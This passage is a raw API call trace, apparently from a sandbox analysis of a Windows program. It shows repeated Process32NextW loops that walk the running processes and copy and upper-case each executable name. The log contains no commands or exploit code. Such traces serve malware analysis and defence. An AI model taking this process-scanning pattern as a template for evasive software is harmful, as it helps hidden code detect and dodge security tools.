lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0261.805] lstrlenW (lpString="explorer.exe") returned 12 [0261.805] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0261.805] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0261.805] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0261.806] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.811] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0261.811] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0261.811] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0261.811] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0261.811] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0261.812] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.812] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0261.812] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0261.812] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0261.812] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0261.812] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0261.812] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.813] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0261.813] lstrlenW (lpString="SearchUI.exe") returned 12 [0261.813] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0261.813] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0261.813] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0261.813] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0261.814] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0261.814] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0261.814] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0261.814] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0261.814] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0261.814] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0261.814] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0261.814] lstrlenW (lpString="nice cu.exe") returned 11 [0261.814] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0261.814] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0261.814] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0261.814] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0261.815] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0261.815] lstrlenW (lpString="video_reviewing.exe") returned 19 [0261.815] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0261.815] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0261.815] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0261.815] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0261.816] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0261.816] lstrlenW (lpString="shame.exe") returned 9 [0261.816] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0261.816] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0261.816] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0261.816] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0261.817] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0261.817] lstrlenW (lpString="fantasy.exe") returned 11 [0261.817] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0261.817] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0261.817] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0261.817] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0261.817] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0261.817] lstrlenW (lpString="accepting.exe") returned 13 [0261.817] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0261.817] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0261.817] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0261.817] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0261.818] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0261.818] lstrlenW (lpString="authorized.exe") returned 14 [0261.818] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0261.818] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0261.818] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0261.818] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0261.819] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0261.819] lstrlenW (lpString="isp.exe") returned 7 [0261.819] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0261.819] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0261.819] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0261.819] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0261.819] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0261.819] lstrlenW (lpString="cowboy.exe") returned 10 [0261.820] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0261.820] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0261.820] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0261.820] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0261.820] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0261.820] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0261.820] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0261.820] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0261.820] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0261.820] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0261.821] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0261.821] lstrlenW (lpString="thats.exe") returned 9 [0261.821] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0261.821] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0261.821] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0261.821] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0261.822] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0261.822] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0261.822] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0261.822] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0261.822] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0261.822] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0261.822] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0261.823] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0261.823] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0261.823] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0261.823] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0261.823] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0261.823] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0261.823] lstrlenW (lpString="actual.exe") returned 10 [0261.823] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0261.823] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0261.823] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0261.823] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0261.824] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0261.824] lstrlenW (lpString="potter larry.exe") returned 16 [0261.824] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0261.824] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0261.824] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0261.824] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0261.825] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0261.825] lstrlenW (lpString="contents what certificate.exe") returned 29 [0261.825] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0261.825] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0261.825] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0261.825] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0261.825] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0261.825] lstrlenW (lpString="cindy.exe") returned 9 [0261.825] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0261.825] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0261.825] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0261.826] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0261.826] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0261.826] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0261.826] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0261.826] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0261.826] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0261.826] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0261.827] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0261.827] lstrlenW (lpString="unusual.exe") returned 11 [0261.827] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0261.827] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0261.827] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0261.827] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0261.828] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0261.828] lstrlenW (lpString="pacific.exe") returned 11 [0261.828] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0261.828] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0261.828] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0261.828] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0261.828] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0261.828] lstrlenW (lpString="phantom.exe") returned 11 [0261.828] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0261.828] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0261.828] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0261.828] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.829] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0261.829] lstrlenW (lpString="audiodg.exe") returned 11 [0261.829] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0261.829] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0261.829] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0261.829] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0261.830] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0261.830] lstrlenW (lpString="SCN0tification.exe") returned 18 [0261.830] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0261.830] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0261.830] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0261.830] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.830] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0261.830] lstrlenW (lpString="svchost.exe") returned 11 [0261.830] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0261.830] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.831] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0261.831] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.831] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0261.831] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0261.831] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0261.831] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0261.831] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0261.831] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0261.832] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0261.832] lstrlenW (lpString="taskeng.exe") returned 11 [0261.832] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0261.832] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0261.832] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0261.832] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0261.833] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0261.833] lstrlenW (lpString="taskeng.exe") returned 11 [0261.833] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0261.833] 